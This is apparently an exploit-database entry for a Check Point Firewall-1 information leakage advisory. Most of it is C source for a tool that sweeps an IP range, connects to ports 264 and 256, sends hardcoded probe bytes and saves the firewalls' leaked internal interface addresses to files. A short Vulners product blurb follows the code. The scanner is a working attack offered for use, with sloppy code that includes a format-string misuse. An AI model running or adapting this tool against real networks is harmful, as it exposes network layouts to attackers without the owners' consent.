source: http://www.securityfocus.com/bid/8524/info
An information leakage issue has been discovered in Check Point Firewall-1. Because of this, an attacker may gain sensitive information about network resources.
/************************************************************************/
/* The syntax is: */
/* fw1_getints (start IP address) (end IP address) */
/* */
/* Author: Jim Becher -- [email protected] */
/************************************************************************/
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/nameser.h>
#include <sys/stat.h>
#include <strings.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#define BUFSIZE 64
void snatch(int sock, char *pass) {
int i, z, sockfd, len, result, bytes;
int octet=0;
char temp1[]="\x30\x00\x00\x03";
char temp2[]="\x02\x59\x05\x21";
char temp3[]="\x00\x00\x00\x08";
char command[256];
char buffer[BUFSIZE]="";
FILE *out;
char outfile[21];
sockfd=sock;
result=send(sockfd,temp1,4,0);
sleep(1); /* Ugly... */
result=send(sockfd,temp2,4,0);
result=read(sockfd, buffer, BUFSIZE);
result=send(sockfd,temp3,4,0);
result=read(sockfd, buffer, BUFSIZE);
sprintf(outfile, "ints.%s", pass);
out = fopen(outfile, "w");
fprintf(out, "ints:\n", 6);
i=4;
while (i<result) {
for (z=1; z<5; z++) {
if ( buffer[i] < 0 ) {
octet=buffer[i]+256;
}
else {
octet=buffer[i];
}
fprintf(out, "%d", octet);
i++;
if (z != 4) {
fprintf(out, ".");
}
}
fprintf(out, "\n");
}
fprintf(out, buffer, BUFSIZE);
close(sockfd);
}
void main(int argc, char *argv[])
{
int sock;
struct in_addr addr;
struct sockaddr_in sin;
unsigned long start;
unsigned long end;
unsigned long counter;
char buffer[1000];
struct hostent *hp=NULL;
unsigned long lAddr;
char *p;
char trash[16];
if (argc!=3)
{
printf("\nusage : %s start-ip-address end-ip-address\n\n",argv[0]);
exit(0);
}
start=inet_addr(argv[1]);
end=inet_addr(argv[2]);
for (counter = ntohl(start); counter <= ntohl(end); counter++)
{
int jim=0, h=0;
sock=socket(AF_INET, SOCK_STREAM, 0);
if ((counter & 0xff) == 255) counter++;
if ((counter & 0xff) == 0) counter++;
sin.sin_family=AF_INET;
sin.sin_port=htons(264);
sin.sin_addr.s_addr=htonl(counter);
addr.s_addr=htonl(counter);
bzero(&(sin.sin_zero), 8);
fprintf(stdout, "Checking: %s\n", inet_ntoa(addr));
p=inet_ntoa(addr);
strcpy(trash, p);
jim=connect(sock, (struct sockaddr*)&sin, sizeof(sin));
if (jim==0) {
fprintf(stdout, "Port 264 open on %s -- Checkpoint Firewall-1 v4.1 or later.\n",inet_ntoa(addr));
snatch(sock, trash);
}
else {
fprintf(stdout, "Can not connect to %s on port 264\n\n", inet_ntoa(addr));
sin.sin_port=htons(256);
jim=0;
jim=connect(sock, (struct sockaddr*)&sin, sizeof(sin));
if (jim==0) {
fprintf(stdout, "Port 256 open on %s -- Checkpoint Firewall-1 4.0 or earlier.\n",inet_ntoa(addr));
snatch(sock, trash);
}
else {
fprintf(stdout, "Can not connect to %s on port 256\n\n", inet_ntoa(addr));
}
}
jim=0;
}
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation